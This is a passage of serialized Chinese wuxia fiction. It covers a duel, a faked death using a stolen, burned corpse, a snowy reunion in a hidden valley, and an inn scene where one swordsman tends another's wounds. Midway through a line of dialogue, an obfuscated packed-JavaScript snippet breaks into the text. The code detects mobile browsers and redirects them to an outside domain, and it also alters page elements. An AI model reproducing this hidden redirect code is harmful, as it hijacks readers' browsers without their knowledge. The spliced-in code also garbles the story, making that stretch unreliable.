随后李喜手掌如幻影般挥动,快速地在林秋白的身前打出一连串的掌影。林秋白松开抓着李喜的左手,脚步快速移动,躲开李喜的掌击。二人你来我往,动作皆快如闪电,每一次碰撞都伴随着巨大的声响和强烈的气流,一时间谁都没有占到便宜。 就在二人稍微拉开距离之时,李喜单掌蓄力,将全身内力倾注到手掌之中,向着林秋白的面部击打过去。林秋白见状也单手成掌,将内力倾注到手掌之中,迎向了李喜击来的一掌。瞬间,二人手掌撞击在一起,爆发出如同虎啸龙吟一般的响声! 双掌相交震荡开来的气浪,将二楼已经破碎的雕花窗户震碎成无数木片,四溅飞去,摆在地上的桌椅板凳也瞬间解体,四散飞去,互相撞击,二楼顿时乱成一团!站在窗边的四名番子,用手紧紧抓着窗框,歪头躲避飞来的碎木片;那踉跄的沈寒则是被这气浪再次推倒在地;靠坐在墙根下的陆山河双臂交叉在脸前,防止碎木片划伤脸庞;而那杜可儿则是在这双掌交锋之时,从窗户一跃而出,跳进了湖中,只留下阵阵涟漪。 12. 娇娥眉溟宵盗尸骨,软玉郎雪暮识故人 微雨依旧,宛如银线的雨丝不断地落在湖面上,激起细微的涟漪,向四周轻柔地扩散开来。不大不小的涟漪互相碰撞,继而消失,随着下一颗雨珠的滴落再次出现,如此循环往复。湖面上水汽氤氲,如同被一层薄如蝉翼的轻纱所笼罩,如梦如幻。忽地,这平静的景致被打断,静谧的湖面被搅动起来。一道小小的浪峰涌了过来,浪峰向两侧散开,一只手游进了画面。 正是在奋力泅水的杜可儿。眼见距离湖岸不远,杜可儿加快了游动的速度。靠近湖岸,杜可儿先是将一只手中的“叶寒”剑鞘放到了岸上,随后才吃力地爬上了岸。方出水面,杜可儿整个人像一只落汤鸡一般,湿漉漉的头发贴在脸上,雨水和湖水顺着她的脸颊不断流淌。衣服早已全部湿透,贴在杜可儿修长而纤细的身上。杜可儿躺在岸边,大口大口地喘着粗气。方才逃得着急,杜可儿只来得及将“叶寒”的剑鞘一并带走,那柄插进酒楼屋顶的残月弯刀,如今只剩下别在腰间的刀鞘了。 牛毛细雨如同丝线般连绵不绝,落在杜可儿头顶的柳树和草丛上,发出轻柔的声音,沙沙作响。因为刚刚在湖中良久,身体流失了很多热量,杜可儿的身子正在微微发抖。杜可儿不敢在湖边多做停留,因为还有一件非常重要且急迫的事情等着她去善后,于是她稍做歇息便起身从湖边离开了。 绵绵秋雨下的宁和寺正是一年当中景致最好的时候。这座坐落于长苏城北的寺庙,临江靠山而建,已有两百多年的历史。寺墙青砖斑驳,岁月的侵蚀让墙面布满了青苔和裂痕。木门上的铜环在雨中闪烁着幽冷的光泽,将秋雨之中棕色的古木大门映衬得愈发深沉。寺庙大门左右两侧,一副对联映入眼前:暮鼓晨钟,唤醒世间名利客;经声佛号,召回苦海梦迷人。 踏入寺内,便是一方世外天地。 寺中桂花飘香,幽梦绕廊;枫叶竞艳,秀影摇窗;银杏铺地,瑞意呈祥;梧桐寄情,禅意悠长;柚木参天,丹颜溢光;乌桕凌云,肃穆端庄。大雄宝殿,香烟袅袅隐禅机;玲珑宝塔,雨色溶溶藏妙谛。藏经阁,经纶万卷传佛理;观音殿,祥和雅淡绕禅音。 寺庙后山有一“观云听潮亭”,正半隐在烟雨蒙蒙之中。亭子上边一副对联:心似白云,常自在无拘无束;意如流水,任东西且去且来。“观云听潮亭”的背后,是一面天然形成的石壁,上边篆刻着浪荡书生郑穆清的几句题词:古寺青山,千年暮雨钟声绕;禅房花木,几缕晨霞塔影悠。寒潭碧水,一抹清辉云影乱;远岫曲径,半岭岚光佛韵浮。 寺后,青山连绵起伏,在雨雾中若隐若现,宛如一幅水墨画卷。寺前,江水悠悠流淌,在秋雨中泛起层层涟漪,仿佛一道云纹锦带。远处的江面上,雾气弥漫,几叶扁舟在雾中若隐若现。近处的江岸边,芦花蓬柔飘逸,在微风中摇曳生姿,如同一片入凡云朵。 一艘小船缓缓靠近江岸,一个女子从船上跳了下来,直奔半山腰上的宁和寺而去。这个女子正是杜可儿。杜可儿一步一阶,走了许久方才攀到了宁和寺的门口。杜可儿没做任何喘息,直接叩响了寺庙木门上的铜环。少时,一个七八岁的小和尚打开了寺门。 “杜施主”,一个稚嫩的童声传来。 “智澄,定尘方丈可在寺中?”杜可儿焦急地道。 “你且随我来,师父正和一位先生谈禅说法,我先带你到禅房歇息。”智澄将杜可儿迎了进去。 杜可儿跟着智澄走在寺庙之中,脚下的石板路湿漉漉的,倒映着天空的灰暗。雨滴落在石板路旁的池塘当中,发出清脆的声响,在寂静的寺庙中回荡着,宛如一首空灵的梵音。杜可儿的心绪渐渐宁静下来。 大雄宝殿正中,林秋白和定尘方丈相对坐在蒲团上。 “大师,你说‘心不动,尘自落’,可若心都不动了,有没有尘还重要吗?” “林施主,无所从来,亦无所去。” “哈哈哈哈哈,那何以又有‘汝不归去?’一问呢”,林秋白笑着问到。 “一无所归”定尘方丈答到。 “好一个一无所归,可能我林秋白毫无慧根吧,定尘方丈,林某告辞了”,林秋白说着起身向定尘方丈作了一个揖,然后径直向殿外走去。 “阿弥陀佛,善哉,善哉”,定尘方丈闭着眼睛缓缓念到。 林秋白离去不久,智澄小和尚便走进殿来。 “师父,杜施主来了”,小和尚道。 “嗯,这时才来,想是遇到了麻烦了”,定尘说着站起身来,带着小智澄走出殿去。不多时,定尘便和智澄来到了杜可儿所在的禅房。杜可儿一见定尘,便跪倒在地。 “方丈,江家,没了!”杜可儿说着两行清泪从眼角流了出来。 “施主快快请起”,定尘方丈说着将杜可儿搀扶了起来,“老衲也已听闻,唉,尘起尘落,皆业报也。” “我此次来,是来求方丈告知江琅的下落的,江府虽惨遭灭门,但江心还活着,如今正在断壁谷中治伤。”杜可儿道。 “江琅云游四海,老衲并不知道他人现在何处。”定尘叹息着说到。 “既如此,可儿便先告辞了,若有江琅行踪,切望方丈告知江琅,江心的所在!”杜可儿说着便要离开。 “杜施主,我看你面色有异,气息紊乱,定是受了内伤。就让老衲略尽绵薄之力,试试帮你疗一下伤吧,否则,那断壁谷,你是断然下不去的。” 定尘方丈轻轻抬起杜可儿的胳膊,用一只手托着,另一只手搭在了杜可儿的肩上。瞬时,一股暖流透过衣衫,缓缓地从杜可儿的胳膊流入身体,随即扩散到周身各处。半盏茶的功夫,定尘方丈方才松开杜可儿的胳膊。杜可儿感觉周身轻快了许多,伤势已然痊愈。 “多谢方丈!可儿还有要事,先行告退。”杜可儿向方丈作了一个揖,转身走出了禅房。 “杜施主,听闻江府被一把大火焚烧殆尽,可是我那劣徒杀了江家满门?”定尘方丈的声音从禅房内传了出来。 “另有其人,不过……赤阳确实回到了长苏,江府也是他焚的。”杜可儿停下脚步低声地说到。 “罪过,罪过。”从禅房中传来的定尘方丈的声音,显得悠长而遥远。 杜可儿不知再说什么,对着禅房又行了一个礼,便转身离去了。 秋雨不停,夜色渐沉。由于是雨天,这天的夜晚来得更早了一些。杜可儿回到长苏城下,虽还未到闭城之时,但今日的城门却早已关闭,想是夜幕更早降临的结果。杜可儿没有多想,转到城墙偏僻之处,双脚发力,迎着细雨,便跃上了城墙。杜可儿只觉得脚步更为轻快,双脚疾驰在陡峭的城墙上如履平地。除了给她治伤,这突然提高的轻功,便是定尘方丈给她输送了一部分内力的结果。 很快杜可儿便上了城墙,趁着守城的兵士还未注意到自己,杜可儿翻身向城内跃去。城中部分人家已经掌灯,还有些人家早已歇息。杜可儿借着从各个屋内透出的灯光小心地穿梭在城巷之间。巡城的兵士加了很多,不同的是,每一队巡城士兵的领队都换成了两名身着鲜红灵雀袍的御械司番子,这必是那李喜太监带来的人马。 杜可儿看到御械司的番子,更不敢耽误片刻,冒着被发现的风险,跃上了屋顶,快速向城南的义庄奔去。一路顺利,杜可儿很快到了城南的义庄外。 放眼望去,义庄破旧不堪的木门,老漆早已剥落,露出腐朽的木茬。门环上锈迹斑斑,就像凝结了的血痂一般。杜可儿走近义庄的大门,轻轻用手一推,看似沉重的大门,“吱呀”一声便向室内转开了。木门门轴发出的“吱呀”声响在寂静的夜里传得极远,仿佛在宣告着非请勿入。门刚一打开,一股刺鼻的腐臭味扑面而来,混合着潮湿的泥土气息和陈旧的木头味,令人作呕。 杜可儿扯下一块衣襟,系在脸上,蒙住口鼻。室内漆黑如墨,杜可儿从怀中摸出一个火折子,掀起蒙面的布料,轻轻吹着,堪堪照明。借着微弱的火光,可以看到义庄的墙壁上布满了青苔和水渍,义庄的中央,停放着一口口薄木棺材,或新或旧,整齐地排列着。棺材后边的一大片空地上,十几个卷起来的草席,里边都是一些或病死或饿死的流民,其中不乏十几岁的少年少女。 纵然是再富庶的王朝,普通百姓也只是苟活罢了。浪荡书生郑穆清高中之后,见都城中达官显贵的糜烂生活不堪入目,更见了上京赶考一路上无数的饿殍,于是写了一首《叹富朝哀民》,也正是这首诗让他丢了功名,从此不问朝堂事,自号浪荡书生,游历民间,靠着撰写小说,出卖字画诗词过活,倒也在江湖上闯出一番名堂。 叹富朝哀民 朱门酒肉溢华光,绮殿笙歌夜未央。 广厦连云空璀璨,寒黎卧雪自悲凉。 饥肠辘辘求残粟,瘦骨嶙嶙对冷霜。 富朝繁华皆入画,谁怜冻馁殁穷乡。 杜可儿向着棺材和草席作了一个揖,“可儿冒犯了”。杜可儿说完在众多草席和棺材中寻找着什么。不多时,在一口薄木棺材中,看到一名生的还算细嫩的少年尸体。杜可儿扎了一个稻草人,将那少年尸体从棺材中换了出来,并放了一些石头增加重量。 “多有得罪,日后可儿在宁和寺中为你立个牌位”,杜可儿说着,抱着这具尸体出了义庄。 江府外的桂花林中,满地都是被雨水带到地面的桂花花瓣。杜可儿将那少年的尸体放在落满桂花的地面上,将一个玉佩丢在尸体旁边,随后从怀中摸出了一小瓶火油。杜可儿将火油洒在少年的尸体上,之后用火折子点燃了尸体。火焰在一瞬间布满了少年的尸身,在微微细雨中照耀着杜可儿充满歉意的脸庞。 火油太少,加之在雨中点燃,不多久这火焰便熄灭了。那少年尸身虽然已经被毁到难以辨认,可那少年的脸庞却还能认出不是江心。杜可儿心一横,附身下去,从袖中掏出一把匕首,向着少年的脸庞划去…… “你若要找我复仇,就来找我吧,我叫杜可儿,记住我的脸”,杜可儿双眼空洞地看着地上那具已经失去脸皮的尸体。随后,杜可儿跪在地上,朝着尸体磕了三个响头。 长苏地界,灵泽如丝,烟雨弥漫。而断壁中外,正是碎琼乱玉,银装素裹。 日暮时分,就在杜可儿渡江前去宁和寺的路上,沧溟雪山中,连绵的山峦在渐黯的天色里勾勒出起伏的轮廓,宛如沉睡巨兽的脊背。此时,这片山谷仿若被尘世遗忘的角落,静谧得只能听见风的低吟。暮雪犹如一群身着素裳的精灵,从遥远的天际悠悠飘落。起初只是稀稀落落的几片,在空中打着旋儿,像是在寻觅归处。渐渐地,雪愈发密集,纷纷扬扬,如同无数只白色的蝴蝶在山谷间翩翩起舞。 洁白的雪花轻轻洒落在山谷的每一个角落。松柏翠竹的枝叶,很快披上了一层厚厚的银装,压弯的枝条好似不堪重负,偶尔颤动一下,便有一团雪簌簌落下。谷中嶙峋的岩石上和石缝间,也都堆积起了雪,坚硬的石头似乎变得柔软起来。潺潺的溪流,不断融解着落入其中的雪花,冷热交接,使得溪面升腾起一层薄薄的雾气,雾气与飘落的雪花交织在一起,一片朦胧之景。 山谷间的小径,业已被雪掩埋,只留下隐隐约约的一串痕迹。小径尽头,通向谷底崖边的一座石台。石台旁边的一颗古松倾斜着探出崖边,一条粗壮的枝干,如同一个吊床一般悬于空中。白野正独自一人靠坐在这条枝干上,看着漫天的飘雪。 映翠园中,机灵鬼和鬼机灵正在打闹,二人拿着扫帚将雪互相扬向对方。公羊方身穿一件貂绒大氅站在房檐下,手中握着一个小壶不时喝一口热茶。这谷中四季如春,可偶尔沧溟雪山下雪过大的时候,也有断壁谷顶的飞雪飘落下来,造就成眼前这一种难得的雪景。 只穿了一身白色内衬的江心,托着虚弱的步伐,从大厅中慢慢走了出来,站到了公羊方的身旁。 “嗯,醒了?”公羊方说着把江心的一条胳膊拽了过去,差点将江心带倒。公羊方右手按住江心的脉搏,闭起了眼睛,“嗯,恢复的不错,再将养些时日,便如常人一般了。” “是前辈救了我?”江心看着公羊方,连忙双手作揖,躬身向公羊方拜去。 “是也不是,也多亏了那小子及时把你送来。若 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14991027|161633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一路上没有他为你运功续气,怕是撑不到我这断壁谷中。”公羊方道。 “每天也都是他帮你擦洗身子”,机灵鬼边和鬼机灵打闹边说到。 “衣服也是他给你换的”,鬼机灵赶紧补上一句。 “是我打的温泉水”,机灵鬼又道。 “是我提的大水桶”,鬼机灵紧接着说到。 江心连忙也向机灵鬼和鬼机灵俯身作揖,以表谢意,“多谢两位少侠”。 “我是少侠了”,机灵鬼开心地道。 “我也是少侠了”,鬼机灵也开心地说到。 “不知是何人?”江心疑惑地问到,忽地又想起了杜可儿,便紧接着问到“那可儿姐姐在哪里?” “并没有一名女子。”公羊方看向江心。 “我只记得,我替可儿姐姐挡了一剑,之后便什么都想不起来了。”江心答到。 “换上衣服出去走走吧,你已无大碍。救你那人正在雪松石台那边。”公羊方说着转身走进了大厅,将挂在墙上的一张琴取了下来。公羊方抱着琴走到院子当中,将琴放在石桌上,弹了起来。 公羊方手指拨动琴弦,顿时,一阵空灵的琴声袅袅而起,宛如一颗石子投入平静的湖面,在这寂静的山谷中荡起层层涟漪。这琴音,清冽而纯净,恰如其分地融入到了这雪落深谷的静谧之感当中,每一个音符都仿佛带着雪花的轻盈与冰冷,在空气中缓缓弥漫开来。 江心呆立在门口,抬头看向天空。无数雪花洋洋洒洒地从空中落下,不知雪之所起,只见碎玉纷飞。江心看到了远处陡立的崖壁,崖壁之上,沧溟雪山的最高峰在漫天飞舞的雪花中若隐若现。 “这是哪儿啊?”江心悄声地说到。 江心转身走进了刚刚自己醒来的屋子,一套绫罗织就的素色外装正叠放整齐地放在一个竹几上。江心细细端详了这套外装一阵,不敢确定这套衣服是否是为自己准备的。见屋内再无别人,江心便大胆将外装穿戴在身上。衣服与自己的身材完全贴合,想必是给自己的衣服没错了。 江心从屋内走出来,缓步向院子外边走去,路过正在弹琴的公羊方之时,轻轻作了一个揖,没有打扰公羊的雅兴。 江心走在隐约可见的石径上,留下一连串洁白的脚印。不多时,江心便走到了雪松石台的外围。江心向那颗雪松看去,只见一个一身玄色的身影正靠坐在雪松枝干上,身子正背对着自己。那人的目光正落在远处,应该也是在观雪。 江心又往前走去,很快便到了石台上边。在距离白野大约一丈距离的地方,江心停住了脚步。江心看着白野的背影正要说话,只听得一阵洞箫的声音从面前的背影之处传来。洞箫的声音和着公羊方的琴声,在山谷中悠悠回荡。 琴声和箫声在飞雪中蜿蜒前行,时而婉转低回,如同雪水在石缝间悄然流淌;时而明快跳跃,恰似雪花在风中嬉戏。随着公羊方手指的快速舞动,琴音愈发激昂,犹如狂风卷着暴雪,在山谷间呼啸而过。那箫声丝毫不落下风,也变得激越起来,恰似万马奔腾,怒涛拍岸。这一琴一萧,与漫天飞舞的雪花交织在一起,使得这原本静谧的雪景一下显得壮丽磅礴。 琴声渐渐舒缓了下来,箫声也跟着平静了下来。琴萧合奏的声音此刻变得悠远而空灵,伴随着轻盈飘落的雪花,一同覆盖了静谧的树林和潺潺的流水。琴声戛然而止,白野的箫声也慢慢停了下来。洞箫的余韵,如一缕轻柔的烟雾,在山谷间缓缓飘散。 江心还沉浸在方才的音乐之中,一下子忘却了自己来这里要说什么。还未等江心回过神来,白野再次缓缓抬起洞箫,置于唇边。随着白野轻轻呼气,一缕箫声幽幽地飘荡出来。这箫声,如雪花飘落般轻柔,带着丝丝寒意,在寂静的山谷中缓缓回荡。箫声舒缓,轻微细腻,如泣如诉。江心站在白野的身后静静地听着。 只见被雪衾温柔覆盖的谷中,一棵古老的雪松傲然挺立,如同一把撑开的巨大玉伞,繁茂的枝叶上堆积着厚厚的积雪,宛如盛开的白色繁花。白野身着黑色劲装,靠坐在一支悬于空中的枝干上,黑衣之上,绣着若隐若现的银色云纹,随着他的动作闪烁着微光。白野的头发整齐束起,一根黑色丝带系于顶心,几缕碎发在雪中微微舞动。白野身后,江心静静地伫立着,一袭白色长袍随风轻摆,衣角绣着淡蓝色的云水图案,若隐若现。白野的头发如瀑布般垂落在身后,用一根洁白的丝带束起,与纷飞的雪花相映成趣。雪花纷纷扬扬地落在二人的肩头、发梢,二人皆浑然不觉,仿佛已与这雪景融为一体。 江心静静地站在那里,宛如一尊精美的雪雕,细细聆听着白野的箫声。忽地,江心发觉这旋律甚是熟悉,他猛地看向那身影,向前快速走了几步。 “叶子?”江心猛然道。 随着江心的一声“叶子”,箫声戛然而止。只见那黑色身形微微抖动了一下。 “是你吗,叶子?”江心追问到。 可那黑色身形并没有作答,而是将手中的洞箫轻轻放在了身边的枝干上。山谷在这一刻安静得非比寻常,似乎都要能听到雪花飘落的声音了。 “是你救了我对吗?”江心问到,声音有些颤抖,“这五年,你去哪里了?” 那黑色身形的呼吸变得有些急促起来,可仍旧没有回答哪怕一个字。 “五年前,你突然在昭阳消失了,我以为你……”江心没有说下去,“这次,你不会再走了吧?”江心又说到。 那黑色身形起身站在了枝干上,风忽地大了起来,洋洋洒洒的雪花突然乱了阵脚,开始在空中胡乱地飞舞。白野头上的发带,在风中肆意地飘动着。江心的头发被风掀起,一些发丝被吹到了江心的脸庞之上。白野微微低下头去,随即身子一跃,向崖底跳了下去。江心见状飞快地往前跑去,想要伸手去抓白野,可却什么都没有抓到。 “白叶!”江心倒在地上,声嘶力竭地冲着崖底喊去,只见白野的身子很快消失在纷纷扰扰的雪雾之中。 这一刻,在这暮雪笼罩的山谷里,时间仿佛静止了,一切仿佛都消失了,只留下一片洁白。 13. 闯客店双玉扶伤易衣,遭截杀老怪…… 林秋白为何到了宁和寺?沈寒与陆山河又去了哪里?这一日之内,可谓发生了许多事情。话说当时,杜可儿趁乱逃离酒楼,那林秋白与李喜正双掌交锋,僵持不下,互不相让。 林秋白与李喜的两股内力交汇之处,空气都被挤压到扭曲变形,发出微弱的爆裂之声。 李喜太监也非等闲之辈,于是林秋白又加了几成功力,李喜逐渐有招架不住之势。李喜的额头上渐渐冒出细密的汗珠,与林秋白对掌的胳膊开始微微颤抖,脸色变得凝重起来,胸口微微起伏,眼睛逐渐泛红。 林秋白见李喜逐渐势微,一丝不屑的笑容显露于嘴角,眼神突然变得狠辣起来! 林秋白将全身内力在一瞬间都加到了与李喜交锋的手掌之中!李喜明显得感受到一股强大的杀意,突然从对方的手掌传递过来,心道不好!无奈之下,李喜来不及做过多思考,在一瞬间,将“孤还”重重插进了地板之中,空出的手掌凝聚内力,迅速击在了与林秋白对掌的另一只手的手背上,以抵抗林秋白这看似平静,实则如同汹涌洪水的杀伤之力! 二人同时运功,强大的内力对冲,瞬间逼得林秋白和李喜二人都退了数步,方才稳住了身形。李喜面部抽动,双目圆睁,本就尖锐的眼角此刻几乎要眦裂开来,好似两柄寒光凛凛的利刃,恶狠狠地刺向对面的林秋白。李喜原本白皙的面皮,因盛怒而涨得通红,那颜色仿佛是被强行灌注了过量的气血,随时都会炸裂开来。反观林秋白,气息虽然也有些不稳,但整个人依旧是一副气定神闲的样子。 “李公公,就当是卖我林秋白一个面子,也当是爱惜后辈,这刀就让给这年轻人吧。”林秋白收回攻击的架势,双手背在身后,侧视着李喜。 李喜的眉头几乎拧在一起,嘴唇紧抿,鼻子略带急促地翕动着。随即,李喜平稳下气息,双眼一眯,狡黠与阴鸷的目光再次出现。李喜收起架势,大步从林秋白的身前走过,向楼下走去。那四名番子见李喜离去,便也跟了下去。 林秋白缓步走向插在地板上的“孤还”,将刀从地板中拔出,拿在手中端详,“果真是把好刀。” 沈寒挣扎着起身。林秋白见状,过去将沈寒搀扶起来,并将刀递还给了沈寒。 “老夫先行告辞了,少侠若有什么需要老夫帮忙的,可到城西行营来找老夫。”林秋白说完后,向沈寒和陆山河分别作了一个揖,随后掏出一锭金子放在地板上,便下了楼。 林秋白出了酒楼,一众人马已经在酒楼门外等候多时。一名校尉见林秋白走了出来,走向前去,对着林秋白作了一个揖。 “大人” “你们先去行营,老夫自有要事,给我牵一匹马来”,林秋白说到。 一位兵士牵过一匹红鬃烈马。林秋白翻身上马,向城北奔去。 酒楼当中,方才陆山河趁着林秋白和李喜太监打斗的时间,坐在地上,悄悄调息着身体,虽然受了伤,但如今已控制住了伤势。沈寒一直担心刀被夺去,强撑着身体,未做任何措施去控制伤势,如今已到强弩之末。陆山河刚一起身,只见沈寒一口淤血从嘴中喷了出来,随后沈寒的身子直直地向后倒了下去,手中依然紧握着“孤还”。陆山河见状,快步冲到沈寒身边,接住了沈寒。沈寒倒在了陆山河的怀里,失去了知觉。 店掌柜听得楼上安静了下来,蹑手蹑脚地从后厨走出来,向楼上张望着看去。见楼上没有了危险,店掌柜犹豫着向楼上走去。刚一上楼,看着乱作一团的场面,店掌柜双腿一软便坐在了地板上,一张老脸瞬间失去了精气神,蔫蔫地缩成一团。 “哎呀!我这是作了什么孽呀!我的雕花窗户!我的红木桌椅!我的锦瓷镇器皿啊!”店掌柜声嘶力竭地喊叫着,声音犹如嚎丧,不时地瞟向正坐在地上为沈寒运气疗伤的陆山河。 陆山河听得烦躁,收起正附在沈寒背部的双掌,走向林秋白留下的那锭金子。陆山河脚尖轻点地面,那锭金子便从地板跳到了陆山河的手中。店掌柜双眼发直地盯着陆山河手里的那锭金子。陆山河将金子拿在手中,对着店掌柜摇晃着。 “别嚎了!烦不烦呀你?去给我叫辆马车来,要双辔的大马车!”陆山河说着将手中的金子扔给店掌柜,“赔你酒楼,外加马车钱还有许多富裕,这你该满意了吧?” “小的这就去办!”店掌柜立刻喜笑颜开,再没有半点伤心之意,转身便向楼下跑去,正与回来的店小二撞了个满怀。 “你这厮,怎么就你一个人回来了?”掌柜的悄声道。 “那衙府内外,全是京城来的番子,我看那着装,似乎是御械司的,我不敢进去啊!”店小二道。 “算了算了,去雇一辆双辔马车”店掌柜说到。 “那得不少钱呢”,店小二说到。 “哎呀!就知道钱!”店掌柜说着又掏出了一些碎银子交给了店小二。 一架双辔马车急促地跑在空无一人的街道上,石板铺就的路面与马车的木质车轮不断碰撞,发出密集的“哒哒”声。由于街道安静异常,这车轮与马蹄踏在石板上的声音显得格外喧闹。摇晃的木质车蓬也被颠簸得不时传出“嘎吱嘎吱”的声响。 马车在一家客栈门前停了下来,陆山河从车篷内跳出,过去敲门。方才敲了一下便听到里边一个没好气的声音传了出来。 “不做生意,客官请到别处去吧”,掌柜的带着一丝愠怒的声音道。 “店家,请开一下门,在下与朋友只待两个时辰便离去”,陆山河好声好气地道。 “不成不成,赶紧走吧”,里边的声音变得不耐烦起来。 “敢烦店家开一下门,必有厚谢”,陆山河依旧好声好气地道。 “说了不行!快快离去!”里边的声音这次非常不客气。 陆山河听罢,抬脚便向客栈的大门踹去。只听得“哐”的一声,木屑乱飞,那客栈大门被陆山河一脚踹的粉碎。正仰躺在摇椅上,和一个花枝招展的女子亲热的客栈掌柜吓得一激灵,从摇椅上滑落地面,那女子则是侧翻到了一旁。谁都没想到陆山河会破门而入,客栈掌柜和那花枝招展的妖艳女子,眼睛都瞪得老大,直直地看向门外站着的陆山河,一时竟忘了用衣服遮挡身体。只见那门口的白衣男子,浑身血污,满脸怒气,周身散发着让人不安的气息。 “看什么?赤身裸体,伤风败俗!”陆山河瞬间收回怒气,侧过身子道。 听得陆山河这么讲,客栈掌柜和那女子方才快速用衣服遮挡住了赤裸的身体。又见陆山河背过身去,二人赶紧草草穿好衣服。 “可有上房?”陆山河背着身问到。 “有,有,二楼都是上房”客栈掌柜的结巴着说到。 陆山河听罢,转身离开了门口。见陆山河离开,掌柜的顿时松了一口气,可未等片刻,浑身血污的陆山河,怀中抱着同样浑身血污的沈寒走进了客栈。掌柜的不敢多问,只能直直地看着陆山河和沈寒,只见二人身上皆有七八个伤口,那些伤口虽然已经不再流血,但嵌入身体内的利器似乎还未取出,隐隐还能看到。 陆山河没有多理会客栈掌柜,抱着沈寒直接去了二楼。随着二楼的关门声传来,掌柜的蹑手蹑脚地走到楼梯下方,探着脖子向楼上看去。那名女子快步走到客栈掌柜身旁,用手狠狠拍了一下掌柜的胳膊。 “不知是哪里来的瘟神,你也敢做这生意!”那女子白了一眼掌柜的。 “这么个凶煞,哪里由得我们?都是你这个晦气的婊子,不然哪里能招来这种瘟神?”客栈掌柜嫌弃地说到。 “关老娘屁事?”那女子回嘴到。 “行了行了,赶紧回去吧。”客栈掌柜没好气地说到。 “回哪里?你说给老娘赎身的!今天起,老娘我就是这儿的内掌柜了!”那女子说着坐到了柜台后边。 “姑奶奶,这不是还没赎身呢嘛!让那妈妈知道了,又要讹我一笔银子了!”掌柜的道。 二人正伴着嘴,楼上的房门开了。陆山河走到楼梯口,将一锭银子扔给了掌柜的。 “多烧一些热水来,再去云裳阁把那掌柜叫来,少不了你的好处。”陆山河说罢便又回了房间。 客房内,陆山河看着躺在床上的沈寒,不停踱步。“真麻烦”,陆山河抱怨着,搬了一个凳子放在床边,坐在了凳子上。陆山河双手抱在胸前,又继续看着沈寒。“倒是俊朗”,陆山河嘟囔了一句。躺在床上的沈寒,由于伤势过重的原因,脸色苍白如雪,嘴唇微微泛白,略显干涩。浓眉之下,眉峰微微蹙起,双目轻阖,长长的睫毛在眼睑处投下淡淡的阴影。 陆山河正端详着沈寒,一阵敲门声传来。 “进”,陆山河道。 房门被推开,那个妖艳打扮的女子,端着一盆热水走了进来。 “客官,您要的热水来了。”妖艳女子看着陆山河。 陆山河接过水盆,顺手放在了刚刚自己坐着的凳子上。 “把那个澡盆也填满热水”,陆山河指着房间屏风后的澡盆道。 “啊?那也太多了”,妖艳女子说到。 陆山河瞪了女子一眼,没有再多说什么。那妖艳女子这时才看清了陆山河的面容,乌发如水,肤若白玉,两道剑眉,一双星目,鼻梁高挺,薄唇淡粉。那女子看得出了神,直到陆山河故意的一声咳嗽声传来,方才回过神来。陆山河立时换了一副嘴脸。 “姐姐,烦请您把那浴盆也加满热水”,陆山河近乎娇嗔地说到。 “哎哟,好说好说”,那女子喜笑颜开,答应着走了出去。 陆山河对着那女子的背影翻了一个白眼,随后关上房门,坐到了床边。陆山河看着昏睡的沈寒,又抱怨了一句,“唉,真麻烦!” 陆山河抱怨之后,伸手去解沈寒的衣带。陆山河轻轻将沈寒满是血污的外装脱下,丢在了地上,然后又去解内衬的衣带。陆山河将沈寒的内衬向两边摊开,露出了沈寒玉白的身体。只是沈寒的胸膛和腹部上,七八个伤口都已微微肿了起来,伤口处的鲜血已经凝结,个别伤口上,刀身碎片有一半露在外边,多数的碎片已经完全没入躯体。 陆山河刚刚用热水打湿毛巾,正准备用毛巾去擦拭沈寒身上的血迹,房门便“吱呀”一声打开了,那个妖艳女子正吃力地拎着一桶热水站在门口。见陆山河正俯着身子,面对着上半身赤裸的沈寒,那妖艳女子手中的水桶“咚”的一声掉在了地上,热水洒了一地。 “哎哟!对不起!打扰您了!”未等陆山河开口解释,那妖艳女子丢下一句话便将门迅速关了起来。 陆山河赶紧追了出去,打开门的时候,那女子已经跑下了楼梯。 “不是你想的那样”,陆山河涨红着脸说到。 “没事没事,您请便,请便”,楼下传来那女子的声音。 陆山河无奈,只好转身又回了房间。 “哎哟,我说呢,原来是一对断袖,生得那么俊俏,可惜了”,妖艳女子坐在摇椅上自言自语道。 陆山河叹了口气,继续给沈寒擦拭着身子,并用内功将沈寒体内的刀身碎片一个个逼出来。随后,陆山河从怀里拿出一个小药瓶,将药洒在沈寒的伤口上。 客栈掌柜带着云裳阁的掌柜回到了店里,刚一进门,那妖艳女子便走向前去,开始絮絮叨叨。 “哎哟,楼上那两位,是这个”,妖艳女子说着将两只手的小拇指勾在了一起。 “你管他哪个呢,咱是为了银子!那阔少老爷们,哪个没有点龙阳之癖呀!”客栈掌柜的说着,拉着云裳阁的掌柜往楼上走去。 “少侠,我把那云裳阁的掌柜叫来了”,客栈掌柜边敲门边说到。 “进来吧”,陆山河道。 客栈掌柜小心地推开了门,和云裳阁的掌柜走了进去。 “掌柜的,我要两身衣服,要成衣,外装,内衬都要。外加两丈白绫,快点送过来,”陆山河说着将一锭银子给了云裳阁的掌柜,随后又吩咐到,“烦请掌柜的将那浴盆装上热水,小爷我要洗个澡。” 客栈掌柜的看了一眼赤裸着上身的沈寒,一脸坏笑道:“小的明白,这就准备!” 客栈掌柜和云裳阁掌柜双双退出屋外,并将门轻轻带上。很快客栈掌柜谄媚的声音隔着门又传了进来,“少侠,小的这儿有上好的合欢香,您看一会儿需不需要?” “滚!”陆山河冲着门外冷冷地道。 很快,热水准备妥当。因为金创药已经给沈寒全部用完,陆山河只能泡在水中,将体内的刀身碎片一个个取出。不一会儿,浴盆中的水便成了红色。陆山河坐在浴盆之中,除了今天的新伤,陆山河的背部和胸脯之上,大大小小,深深浅浅的疤痕不下几十道。陆山河闭着眼睛,让热水温暖着自己的身子。过了良久,陆山河才从浴盆中出来。陆山河擦干身子,觉得有些冷,便快步跳到了床上,与沈寒并肩躺着,一把将被子扯了过去,盖在了两人身上。 